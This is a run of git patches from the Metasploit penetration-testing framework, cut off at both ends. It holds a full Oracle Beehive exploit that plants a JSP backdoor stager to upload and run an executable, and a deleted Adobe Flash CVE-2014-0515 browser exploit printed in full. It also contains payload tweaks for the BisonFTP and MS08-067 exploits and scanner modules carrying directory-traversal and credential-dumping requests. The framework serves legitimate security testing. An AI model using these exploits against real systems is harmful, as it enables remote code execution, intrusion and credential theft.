'DefaultOptions' => + { + 'RPORT' => 7777 + }, + 'Platform' => 'win', + 'Targets' => + [ + ['Oracle Beehive 2', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Jun 09 2010', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [ true, "Oracle Beehive's base directory", '/']) + ], self.class) + end + + + def check + res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'voice-servlet', 'prompt-qa', 'showRecxml.jsp')) + + if res && /RECXML Prompt Tester/ === res.body + return Exploit::CheckCode::Detected + end + + Exploit::CheckCode::Safe + end + + + def exploit + unless check == Exploit::CheckCode::Detected + fail_with(Failure::NotVulnerable, 'Target does not appear to be Oracle BeeHive') + end + + # Init some names + exe_name = "#{Rex::Text.rand_text_alpha(5)}.exe" + stager_name = "#{Rex::Text.rand_text_alpha(5)}.jsp" + + print_status("Stager name is: #{stager_name}") + print_status("Executable name is: #{exe_name}") + + # pwd: + # C:\oracle\product\2.0.1.0.0\beehive_2\j2ee\home + # Targeted path: + # C:\oracle\product\2.0.1.0.0\beehive_2\j2ee\BEEAPP\applications\voice-servlet\voice-servlet\prompt-qa + register_files_for_cleanup( + "../BEEAPP/applications/voice-servlet/voice-servlet/prompt-qa/vnjHm.jsp" + ) + + + # Ok fire! + print_status("Uploading stager...") + res = upload_stager(stager_name, exe_name) + + # Hmm if we fail to upload the stager, no point to continue. + unless res + fail_with(Failure::Unknown, 'Connection timed out.') + end + + print_status("Uploading payload...") + upload_payload(stager_name) + end + + + # Our stager is basically a backdoor that allows us to upload an executable with a POST request. + def get_jsp_stager(exe_name) + jsp = %Q|<%@ page import="java.io.*" %> +<% + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + BufferedReader reader = request.getReader(); + int tmp; + while ((tmp = reader.read()) != -1) { buf.write(tmp); } + FileOutputStream fostream = new FileOutputStream("#{exe_name}"); + buf.writeTo(fostream); + fostream.close(); + Runtime.getRuntime().exec("#{exe_name}"); +%>| + + # Since we're sending it as a GET request, we want to keep it smaller so + # we gsub stuff we don't want. + jsp.gsub!("\n", '') + jsp.gsub!(' ', ' ') + Rex::Text.uri_encode(jsp) + end + + + # Stager will be found under: + # C:\oracle\product\2.0.1.0.0\beehive_2\j2ee\BEEAPP\applications\voice-servlet\voice-servlet\prompt-qa\ + def upload_stager(stager_name, exe_name) + jsp_stager = get_jsp_stager(exe_name) + uri = normalize_uri(target_uri.path, 'voice-servlet', 'prompt-qa', 'showRecxml.jsp') + send_request_cgi({ + 'method' => 'GET', + 'uri' => uri, + 'encode_params' => false, # Don't encode %00 for us + 'vars_get' => { + 'evaluation' => jsp_stager, + 'recxml' => "..\\#{stager_name}%00" + } + }) + end + + # Payload will be found under: + # C:\oracle\product\2.0.1.0.0\beehive_2\j2ee\home\ + def upload_payload(stager_name) + uri = normalize_uri(target_uri.path, 'voice-servlet', 'prompt-qa', stager_name) + send_request_cgi({ + 'method' => 'POST', + 'uri' => uri, + 'data' => generate_payload_exe(code: payload.encoded) + }) + end + + def print_status(msg) + super("#{rhost}:#{rport} - #{msg}") + end + +end + From 3ad7ef981410f6687c2771cc36397c60dd49755e Mon Sep 17 00:00:00 2001 From: aushack <patrick@aushack.com> Date: Wed, 25 Nov 2015 12:46:56 +1100 Subject: [PATCH 1314/2172] Modify the printed URL to add https:// when SSL is used. --- modules/auxiliary/scanner/http/apache_userdir_enum.rb | 6 +++++- modules/auxiliary/scanner/http/axis_local_file_include.rb | 6 +++++- .../auxiliary/scanner/http/barracuda_directory_traversal.rb | 6 +++++- modules/auxiliary/scanner/http/nginx_source_disclosure.rb | 6 +++++- modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb | 6 +++++- modules/auxiliary/scanner/http/tomcat_enum.rb | 6 +++++- 6 files changed, 30 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/scanner/http/apache_userdir_enum.rb b/modules/auxiliary/scanner/http/apache_userdir_enum.rb index 07c3b7d832..1b3ba1c3b4 100644 --- a/modules/auxiliary/scanner/http/apache_userdir_enum.rb +++ b/modules/auxiliary/scanner/http/apache_userdir_enum.rb @@ -53,7 +53,11 @@ class Metasploit3 < Msf::Auxiliary def target_url uri = normalize_uri(datastore['URI']) - "http://#{vhost}:#{rport}#{uri}" + proto = 'http' + if rport == 443 || ssl + proto = 'https' + end + "#{proto}://#{vhost}:#{rport}#{uri}" end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/axis_local_file_include.rb b/modules/auxiliary/scanner/http/axis_local_file_include.rb index fe384ff9aa..e7f3cf584d 100644 --- a/modules/auxiliary/scanner/http/axis_local_file_include.rb +++ b/modules/auxiliary/scanner/http/axis_local_file_include.rb @@ -40,7 +40,11 @@ class Metasploit3 < Msf::Auxiliary def target_url uri = normalize_uri(datastore['URI']) - "http://#{vhost}:#{rport}#{uri}" + proto = 'http' + if rport == 443 || ssl + proto = 'https' + end + "#{proto}://#{vhost}:#{rport}#{uri}" end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb b/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb index 65967cc0a2..fb7d4dbbc1 100644 --- a/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb +++ b/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb @@ -44,7 +44,11 @@ class Metasploit3 < Msf::Auxiliary def target_url uri = normalize_uri(datastore['URI']) - "http://#{vhost}:#{rport}#{uri}" + proto = 'http' + if rport == 443 || ssl + proto = 'https' + end + "#{proto}://#{vhost}:#{rport}#{uri}" end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/nginx_source_disclosure.rb b/modules/auxiliary/scanner/http/nginx_source_disclosure.rb index 8f3543c202..164f08f16e 100644 --- a/modules/auxiliary/scanner/http/nginx_source_disclosure.rb +++ b/modules/auxiliary/scanner/http/nginx_source_disclosure.rb @@ -42,7 +42,11 @@ class Metasploit3 < Msf::Auxiliary def target_url uri = normalize_uri(datastore['URI']) - "http://#{vhost}:#{rport}#{uri}" + proto = 'http' + if rport == 443 || ssl + proto = 'https' + end + "#{proto}://#{vhost}:#{rport}#{uri}" end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb b/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb index e3a820fc2a..fc775671c0 100644 --- a/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb +++ b/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb @@ -48,7 +48,11 @@ class Metasploit3 < Msf::Auxiliary def target_url uri = normalize_uri(datastore['URI']) - "http://#{vhost}:#{rport}#{uri}" + proto = 'http' + if rport == 443 || ssl + proto = 'https' + end + "#{proto}://#{vhost}:#{rport}#{uri}" end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/tomcat_enum.rb b/modules/auxiliary/scanner/http/tomcat_enum.rb index 377aa03096..415738a65c 100644 --- a/modules/auxiliary/scanner/http/tomcat_enum.rb +++ b/modules/auxiliary/scanner/http/tomcat_enum.rb @@ -51,7 +51,11 @@ class Metasploit3 < Msf::Auxiliary def target_url uri = normalize_uri(datastore['URI']) - "http://#{vhost}:#{rport}#{uri}" + proto = 'http' + if rport == 443 || ssl + proto = 'https' + end + "#{proto}://#{vhost}:#{rport}#{uri}" end def has_j_security_check? From eac4f02b6660e9b8bb5278aba88f9384877a8ed8 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Tue, 24 Nov 2015 17:57:56 -0800 Subject: [PATCH 1315/2172] Spelling and correct description --- modules/auxiliary/scanner/http/git_scanner.rb | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/scanner/http/git_scanner.rb b/modules/auxiliary/scanner/http/git_scanner.rb index e83808b57e..6a2b04fac0 100644 --- a/modules/auxiliary/scanner/http/git_scanner.rb +++ b/modules/auxiliary/scanner/http/git_scanner.rb @@ -15,11 +15,9 @@ class Metasploit3 < Msf::Auxiliary super( 'Name' => 'HTTP Git Scanner', 'Description' => %q( - This module can detect information disclosure vlnerabilities in - Git Repository. Git has some files that stores in Git Resitory, - ex: .git/config, .git/index. We can get a number of personal/ - preferences settings from .git/config, and get source code, - account information from .git/index. + This module can detect situations where there may be information + disclosure vulnerabilities that occur when a Git repository is made + available over HTTP. ), 'Author' => [ 'Nixawk', # module developer From 591da3c97e2f5ac4939181a96c2fe396901b3099 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Tue, 24 Nov 2015 20:37:57 -0600 Subject: [PATCH 1316/2172] Please use exploit/multi/browser/adobe_flash_pixel_bender_bof Time to say goodbye to: exploits/windows/browser/adobe_flash_pixel_bender_bof.rb Please use: exploit/multi/browser/adobe_flash_pixel_bender_bof Reason: The replacement supports multiple platforms, so better. --- .../browser/adobe_flash_pixel_bender_bof.rb | 109 ------------------ 1 file changed, 109 deletions(-) delete mode 100644 modules/exploits/windows/browser/adobe_flash_pixel_bender_bof.rb diff --git a/modules/exploits/windows/browser/adobe_flash_pixel_bender_bof.rb b/modules/exploits/windows/browser/adobe_flash_pixel_bender_bof.rb deleted file mode 100644 index 422f229af7..0000000000 --- a/modules/exploits/windows/browser/adobe_flash_pixel_bender_bof.rb +++ /dev/null @@ -1,109 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - Rank = NormalRanking - - include Msf::Exploit::Remote::BrowserExploitServer - include Msf::Module::Deprecated - - deprecated(Date.new(2015, 11, 9), 'exploit/multi/browser/adobe_flash_pixel_bender_bof') - - def initialize(info={}) - super(update_info(info, - 'Name' => 'Adobe Flash Player Shader Buffer Overflow', - 'Description' => %q{ - This module exploits a buffer overflow vulnerability in Adobe Flash Player. The - vulnerability occurs in the flash.Display.Shader class, when setting specially - crafted data as its bytecode, as exploited in the wild in April 2014. This module - has been tested successfully on IE 6 to IE 11 with Flash 11, Flash 12 and Flash 13 - over Windows XP SP3, Windows 7 SP1 and Windows 8. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Unknown', # Vulnerability discovery and exploit in the wild - 'juan vazquez' # msf module - ], - 'References' => - [ - ['CVE', '2014-0515'], - ['BID', '67092'], - ['URL', 'http://helpx.adobe.com/security/products/flash-player/apsb14-13.html'], - ['URL', 'http://www.securelist.com/en/blog/8212/New_Flash_Player_0_day_CVE_2014_0515_used_in_watering_hole_attacks'], - ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2014-0515-the-recent-flash-zero-day/' ] - ], - 'Payload' => - { - 'DisableNops' => true - }, - 'Platform' => 'win', - 'BrowserRequirements' => - { - :source => /script|headers/i, - :os_name => OperatingSystems::Match::WINDOWS, - :ua_name => lambda { |ua| ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF || ua == Msf::HttpClients::SAFARI}, - :flash => lambda { |ver| ver =~ /^11\./ || ver =~ /^12\./ || (ver =~ /^13\./ && ver <= '13.0.0.182') } - }, - 'Targets' => - [ - [ 'Automatic', {} ] - ], - 'Privileged' => false, - 'DisclosureDate' => 'Apr 28 2014', - 'DefaultTarget' => 0)) - end - - def exploit - @swf = create_swf - super - end - - def on_request_exploit(cli, request, target_info) - print_status("Request: #{request.uri}") - - if request.uri =~ /\.swf$/ - print_status('Sending SWF...') - send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) - return - end - - print_status('Sending HTML...') - send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) - end - - def exploit_template(cli, target_info) - swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" - target_payload = get_payload(cli, target_info) - b64_payload = Rex::Text.encode_base64(target_payload) - os_name = target_info[:os_name] - platform_id = 'win' - - html_template = %Q|<html> - <body> - <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> - <param name="movie" value="<%=swf_random%>" /> - <param name="allowScriptAccess" value="always" /> - <param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" /> - <param name="Play" value="true" /> - <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/> - </object> - </body> - </html> - | - - return html_template, binding() - end - - def create_swf - path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2014-0515', 'msf.swf' ) - swf = ::File.open(path, 'rb') { |f| swf = f.read } - - swf - end - -end From 3d6e4068cbeca61374c319341894032adbe75448 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Wed, 25 Nov 2015 11:17:07 +0800 Subject: [PATCH 1317/2172] Update bison_ftp_bof.rb --- modules/exploits/windows/ftp/bison_ftp_bof.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/windows/ftp/bison_ftp_bof.rb b/modules/exploits/windows/ftp/bison_ftp_bof.rb index e8b162a6e1..f89b3c6f09 100644 --- a/modules/exploits/windows/ftp/bison_ftp_bof.rb +++ b/modules/exploits/windows/ftp/bison_ftp_bof.rb @@ -42,6 +42,7 @@ class Metasploit4 < Msf::Exploit::Remote { 'Space' => 385, 'BadChars' => "\x00\x0a\x0d", + 'StackAdjustment' => -3500, }, 'Targets' => [ From 9a7e51daec8b51811b27f9508ee10afd61a1dc88 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Wed, 25 Nov 2015 11:47:21 +0800 Subject: [PATCH 1318/2172] Update bison_ftp_bof.rb --- modules/exploits/windows/ftp/bison_ftp_bof.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/ftp/bison_ftp_bof.rb b/modules/exploits/windows/ftp/bison_ftp_bof.rb index f89b3c6f09..f44d058b7b 100644 --- a/modules/exploits/windows/ftp/bison_ftp_bof.rb +++ b/modules/exploits/windows/ftp/bison_ftp_bof.rb @@ -40,7 +40,7 @@ class Metasploit4 < Msf::Exploit::Remote }, 'Payload' => { - 'Space' => 385, + 'Space' => 310, 'BadChars' => "\x00\x0a\x0d", 'StackAdjustment' => -3500, }, From f57ebad0e6933be3ad15bd1c2170f784a6da019c Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Tue, 24 Nov 2015 22:54:52 -0600 Subject: [PATCH 1319/2172] Change hard tabs to spaces --- modules/exploits/windows/ftp/bison_ftp_bof.rb | 30 +++++++++---------- 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/modules/exploits/windows/ftp/bison_ftp_bof.rb b/modules/exploits/windows/ftp/bison_ftp_bof.rb index f44d058b7b..4e71775798 100644 --- a/modules/exploits/windows/ftp/bison_ftp_bof.rb +++ b/modules/exploits/windows/ftp/bison_ftp_bof.rb @@ -12,49 +12,49 @@ class Metasploit4 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'BisonWare BisonFTP Server Buffer Overflow', - 'Description' => %q{ + 'Name' => 'BisonWare BisonFTP Server Buffer Overflow', + 'Description' => %q{ BisonWare BisonFTP Server 3.5 is prone to an overflow condition. This module exploits a buffer overflow vulnerability in the said application. }, - 'Platform' => 'win', - 'Author' => + 'Platform' => 'win', + 'Author' => [ 'localh0t', # initial discovery 'veerendragg @ SecPod', # initial msf 'Jay Turla' # msf ], - 'License' => MSF_LICENSE, - 'References' => + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '1999-1510'], [ 'BID', '49109'], [ 'EDB', '17649'], [ 'URL', 'http://secpod.org/msf/bison_server_bof.rb'] ], - 'Privileged' => false, + 'Privileged' => false, 'DefaultOptions' => { 'VERBOSE' => true }, - 'Payload' => + 'Payload' => { - 'Space' => 310, - 'BadChars' => "\x00\x0a\x0d", + 'Space' => 310, + 'BadChars' => "\x00\x0a\x0d", 'StackAdjustment' => -3500, }, - 'Targets' => + 'Targets' => [ [ 'Bisonware FTP Server / Windows XP SP3 EN', { - 'Ret' => 0x0040333f, - 'Offset' => 1028, - 'Nops' => 404 + 'Ret' => 0x0040333f, + 'Offset' => 1028, + 'Nops' => 404 } ], ], - 'DefaultTarget' => 0, + 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 07 2011')) end From c09d8031c698ff3beefcf24923c37fb0142016c2 Mon Sep 17 00:00:00 2001 From: Waqas Ali <waqas.bsquare@gmail.com> Date: Wed, 25 Nov 2015 12:19:16 +0500 Subject: [PATCH 1320/2172] Remove default empty string --- modules/auxiliary/scanner/http/owa_login.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/owa_login.rb b/modules/auxiliary/scanner/http/owa_login.rb index 8bb15d10d4..a3a42e02f7 100644 --- a/modules/auxiliary/scanner/http/owa_login.rb +++ b/modules/auxiliary/scanner/http/owa_login.rb @@ -79,7 +79,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ OptInt.new('RPORT', [ true, "The target port", 443]), - OptAddress.new('RHOST', [ true, "The target address", '']), + OptAddress.new('RHOST', [ true, "The target address" ]), OptBool.new('ENUM_DOMAIN', [ true, "Automatically enumerate AD domain using NTLM authentication", true]), OptBool.new('AUTH_TIME', [ false, "Check HTTP authentication response time", true]) ], self.class) From 2a89a2bc9aecc4bbdd24afe110b9ec98f7949533 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Wed, 25 Nov 2015 07:13:16 -0600 Subject: [PATCH 1321/2172] increase the amount of space needed for ms08_067 --- modules/exploits/windows/smb/ms08_067_netapi.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/smb/ms08_067_netapi.rb b/modules/exploits/windows/smb/ms08_067_netapi.rb index 61ce551f51..8e18073c31 100644 --- a/modules/exploits/windows/smb/ms08_067_netapi.rb +++ b/modules/exploits/windows/smb/ms08_067_netapi.rb @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Privileged' => true, 'Payload' => { - 'Space' => 400, + 'Space' => 450, 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40", 'Prepend' => "\x81\xE4\xF0\xFF\xFF\xFF", # stack alignment 'StackAdjustment' => -3500, From 42d12a4d401c8658fe65050bab34fb99ff11d027 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Wed, 25 Nov 2015 11:16:22 -0600 Subject: [PATCH 1322/2172] Fix apache_userdir_enum for full_uri --- .../scanner/http/apache_userdir_enum.rb | 23 ++++++------------- 1 file changed, 7 insertions(+), 16 deletions(-) diff --git a/modules/auxiliary/scanner/http/apache_userdir_enum.rb b/modules/auxiliary/scanner/http/apache_userdir_enum.rb index 1b3ba1c3b4..1ba9f3fa3f 100644 --- a/modules/auxiliary/scanner/http/apache_userdir_enum.rb +++ b/modules/auxiliary/scanner/http/apache_userdir_enum.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptString.new('URI', [true, 'The path to users Home Page', '/']), + OptString.new('TARGETURI', [true, 'The path to users Home Page', '/']), OptPath.new('USER_FILE', [ true, "File containing users, one per line", File.join(Msf::Config.data_directory, "wordlists", "unix_users.txt") ]), ], self.class) @@ -51,15 +51,6 @@ class Metasploit3 < Msf::Auxiliary ) end - def target_url - uri = normalize_uri(datastore['URI']) - proto = 'http' - if rport == 443 || ssl - proto = 'https' - end - "#{proto}://#{vhost}:#{rport}#{uri}" - end - def run_host(ip) @users_found = {} @@ -68,9 +59,9 @@ class Metasploit3 < Msf::Auxiliary } if(@users_found.empty?) - print_status("#{target_url} - No users found.") + print_status("#{full_uri} - No users found.") else - print_good("#{target_url} - Users found: #{@users_found.keys.sort.join(", ")}") + print_good("#{full_uri} - Users found: #{@users_found.keys.sort.join(", ")}") report_note( :host => rhost, :port => rport, @@ -84,8 +75,8 @@ class Metasploit3 < Msf::Auxiliary def do_login(user) - vprint_status("#{target_url}~#{user} - Trying UserDir: '#{user}'") - uri = normalize_uri(datastore['URI']) + vprint_status("#{full_uri}~#{user} - Trying UserDir: '#{user}'") + uri = normalize_uri(target_uri.path) payload = "#{uri}~#{user}/" begin res = send_request_cgi( @@ -97,10 +88,10 @@ class Metasploit3 < Msf::Auxiliary return unless res if ((res.code == 403) or (res.code == 200)) - print_good("#{target_url} - Apache UserDir: '#{user}' found ") + print_good("#{full_uri} - Apache UserDir: '#{user}' found ") @users_found[user] = :reported else - vprint_status("#{target_url} - Apache UserDir: '#{user}' not found ") + vprint_status("#{full_uri} - Apache UserDir: '#{user}' not found ") end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout rescue ::Timeout::Error, ::Errno::EPIPE From 7a5f6495d012d3d67d63a5eed9c130472f2ec350 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Wed, 25 Nov 2015 11:16:59 -0600 Subject: [PATCH 1323/2172] Fix axis_local_file_include for full_uri --- .../scanner/http/axis_local_file_include.rb | 30 +++++++------------ 1 file changed, 10 insertions(+), 20 deletions(-) diff --git a/modules/auxiliary/scanner/http/axis_local_file_include.rb b/modules/auxiliary/scanner/http/axis_local_file_include.rb index e7f3cf584d..c4c029987c 100644 --- a/modules/auxiliary/scanner/http/axis_local_file_include.rb +++ b/modules/auxiliary/scanner/http/axis_local_file_include.rb @@ -34,21 +34,12 @@ class Metasploit3 < Msf::Auxiliary register_options([ Opt::RPORT(8080), - OptString.new('URI', [false, 'The path to the Axis listServices', '/axis2/services/listServices']), + OptString.new('TARGETURI', [false, 'The path to the Axis listServices', '/axis2/services/listServices']), ], self.class) end - def target_url - uri = normalize_uri(datastore['URI']) - proto = 'http' - if rport == 443 || ssl - proto = 'https' - end - "#{proto}://#{vhost}:#{rport}#{uri}" - end - def run_host(ip) - uri = normalize_uri(datastore['URI']) + uri = normalize_uri(target_uri.path) begin res = send_request_raw({ @@ -57,13 +48,12 @@ class Metasploit3 < Msf::Auxiliary }, 25) if (res and res.code == 200) - extract_uri = res.body.to_s.match(/\/axis2\/services\/([^\s]+)\?/) - new_uri = "/axis2/services/#{$1}" - new_uri = normalize_uri(new_uri) + res.body.to_s.match(/\/axis2\/services\/([^\s]+)\?/) + new_uri = normalize_uri("/axis2/services/#{$1}") get_credentials(new_uri) else - print_status("#{target_url} - Apache Axis - The remote page not accessible") + print_status("#{full_uri} - Apache Axis - The remote page not accessible") return end @@ -110,10 +100,10 @@ class Metasploit3 < Msf::Auxiliary 'uri' => "#{uri}" + lfi_payload, }, 25) - print_status("#{target_url} - Apache Axis - Dumping administrative credentials") + print_status("#{full_uri} - Apache Axis - Dumping administrative credentials") if res.nil? - print_error("#{target_url} - Connection timed out") + print_error("#{full_uri} - Connection timed out") return end @@ -125,17 +115,17 @@ class Metasploit3 < Msf::Auxiliary res.body.scan(/parameter\sname=\"password\">([^\s]+)</) password = $1 - print_good("#{target_url} - Apache Axis - Credentials Found Username: '#{username}' - Password: '#{password}'") + print_good("#{full_uri} - Apache Axis - Credentials Found Username: '#{username}' - Password: '#{password}'") report_cred(ip: rhost, port: rport, user: username, password: password, proof: res.body) else - print_error("#{target_url} - Apache Axis - Not Vulnerable") + print_error("#{full_uri} - Apache Axis - Not Vulnerable") return :abort end else - print_error("#{target_url} - Apache Axis - Unrecognized #{res.code} response") + print_error("#{full_uri} - Apache Axis - Unrecognized #{res.code} response") return :abort end From 035882702af24e67d585a9110a7b0875792d0000 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Wed, 25 Nov 2015 11:18:17 -0600 Subject: [PATCH 1324/2172] Fix barracuda_directory_traversal for full_uri --- .../http/barracuda_directory_traversal.rb | 31 +++++++------------ 1 file changed, 11 insertions(+), 20 deletions(-) diff --git a/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb b/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb index fb7d4dbbc1..af42fa9fa9 100644 --- a/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb +++ b/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb @@ -38,25 +38,16 @@ class Metasploit3 < Msf::Auxiliary [ Opt::RPORT(8000), OptString.new('FILE', [ true, "Define the remote file to view, ex:/etc/passwd", '/mail/snapshot/config.snapshot']), - OptString.new('URI', [true, 'Barracuda vulnerable URI path', '/cgi-mod/view_help.cgi']), + OptString.new('TARGETURI', [true, 'Barracuda vulnerable URI path', '/cgi-mod/view_help.cgi']), ], self.class) end - def target_url - uri = normalize_uri(datastore['URI']) - proto = 'http' - if rport == 443 || ssl - proto = 'https' - end - "#{proto}://#{vhost}:#{rport}#{uri}" - end - def run_host(ip) - uri = normalize_uri(datastore['URI']) + uri = normalize_uri(target_uri.path) file = datastore['FILE'] payload = "?locale=/../../../../../../..#{file}%00" - print_status("#{target_url} - Barracuda - Checking if remote server is vulnerable") + print_status("#{full_uri} - Barracuda - Checking if remote server is vulnerable") res = send_request_raw( { @@ -65,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary }, 25) if res.nil? - print_error("#{target_url} - Connection timed out") + print_error("#{full_uri} - Connection timed out") return end @@ -77,21 +68,21 @@ class Metasploit3 < Msf::Auxiliary if html.length > 100 file_data = html.gsub(%r{</?[^>]+?>}, '') - print_good("#{target_url} - Barracuda - Vulnerable") - print_good("#{target_url} - Barracuda - File Output:\n" + file_data + "\n") + print_good("#{full_uri} - Barracuda - Vulnerable") + print_good("#{full_uri} - Barracuda - File Output:\n" + file_data + "\n") else - print_error("#{target_url} - Barracuda - Not vulnerable: HTML too short?") + print_error("#{full_uri} - Barracuda - Not vulnerable: HTML too short?") end elsif res.body =~ /help_page/ - print_error("#{target_url} - Barracuda - Not vulnerable: Patched?") + print_error("#{full_uri} - Barracuda - Not vulnerable: Patched?") else - print_error("#{target_url} - Barracuda - File not found or permission denied") + print_error("#{full_uri} - Barracuda - File not found or permission denied") end else - print_error("#{target_url} - Barracuda - No HTML was returned") + print_error("#{full_uri} - Barracuda - No HTML was returned") end else - print_error("#{target_url} - Barracuda - Unrecognized #{res.code} response") + print_error("#{full_uri} - Barracuda - Unrecognized #{res.code} response") end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout From 7d17c5741b841603e3da4a6e529e50357dca8c58 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Wed, 25 Nov 2015 11:19:27 -0600 Subject: [PATCH 1325/2172] Fix nginx_source_disclosure for full_uri --- .../scanner/http/nginx_source_disclosure.rb | 25 ++++++------------- 1 file changed, 8 insertions(+), 17 deletions(-) diff --git a/modules/auxiliary/scanner/http/nginx_source_disclosure.rb b/modules/auxiliary/scanner/http/nginx_source_disclosure.rb index 164f08f16e..b49e3e4137 100644 --- a/modules/auxiliary/scanner/http/nginx_source_disclosure.rb +++ b/modules/auxiliary/scanner/http/nginx_source_disclosure.rb @@ -35,22 +35,13 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptString.new('URI', [true, 'Specify the path to download the file (ex: admin.php)', '/admin.php']), + OptString.new('TARGETURI', [true, 'Specify the path to download the file (ex: admin.php)', '/admin.php']), OptString.new('PATH_SAVE', [true, 'The path to save the downloaded source code', '']), ], self.class) end - def target_url - uri = normalize_uri(datastore['URI']) - proto = 'http' - if rport == 443 || ssl - proto = 'https' - end - "#{proto}://#{vhost}:#{rport}#{uri}" - end - def run_host(ip) - uri = normalize_uri(datastore['URI']) + uri = normalize_uri(target_uri.path) path_save = datastore['PATH_SAVE'] vuln_versions = [ @@ -74,7 +65,7 @@ class Metasploit3 < Msf::Auxiliary }, 25) if res.nil? - print_error("#{target_url} - nginx - Connection timed out") + print_error("#{full_uri} - nginx - Connection timed out") return else version = res.headers['Server'] @@ -82,17 +73,17 @@ class Metasploit3 < Msf::Auxiliary end if vuln_versions.include?(version) - print_good("#{target_url} - nginx - Vulnerable version: #{version}") + print_good("#{full_uri} - nginx - Vulnerable version: #{version}") if (res and res.code == 200) - print_good("#{target_url} - nginx - Getting the source of page #{uri}") + print_good("#{full_uri} - nginx - Getting the source of page #{uri}") save_source = File.new("#{path_save}#{uri}","w") save_source.puts(res.body.to_s) save_source.close - print_status("#{target_url} - nginx - File successfully saved: #{path_save}#{uri}") if (File.exists?("#{path_save}#{uri}")) + print_status("#{full_uri} - nginx - File successfully saved: #{path_save}#{uri}") if (File.exists?("#{path_save}#{uri}")) else print_error("http://#{vhost}:#{rport} - nginx - Unrecognized #{res.code} response") @@ -102,9 +93,9 @@ class Metasploit3 < Msf::Auxiliary else if version =~ /nginx/ - print_error("#{target_url} - nginx - Cannot exploit: the remote server is not vulnerable - Version #{version}") + print_error("#{full_uri} - nginx - Cannot exploit: the remote server is not vulnerable - Version #{version}") else - print_error("#{target_url} - nginx - Cannot exploit: the remote server is not ngnix") + print_error("#{full_uri} - nginx - Cannot exploit: the remote server is not ngnix") end return From 35ea8c3f7409cdbc120bfbae5b58f1e502a5b7d3 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Wed, 25 Nov 2015 11:25:57 -0600 Subject: [PATCH 1326/2172] relax space needed a bit less, work with Windows XP and 2k3 --- modules/exploits/windows/smb/ms08_067_netapi.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/smb/ms08_067_netapi.rb b/modules/exploits/windows/smb/ms08_067_netapi.rb index 8e18073c31..0f0328abf5 100644 --- 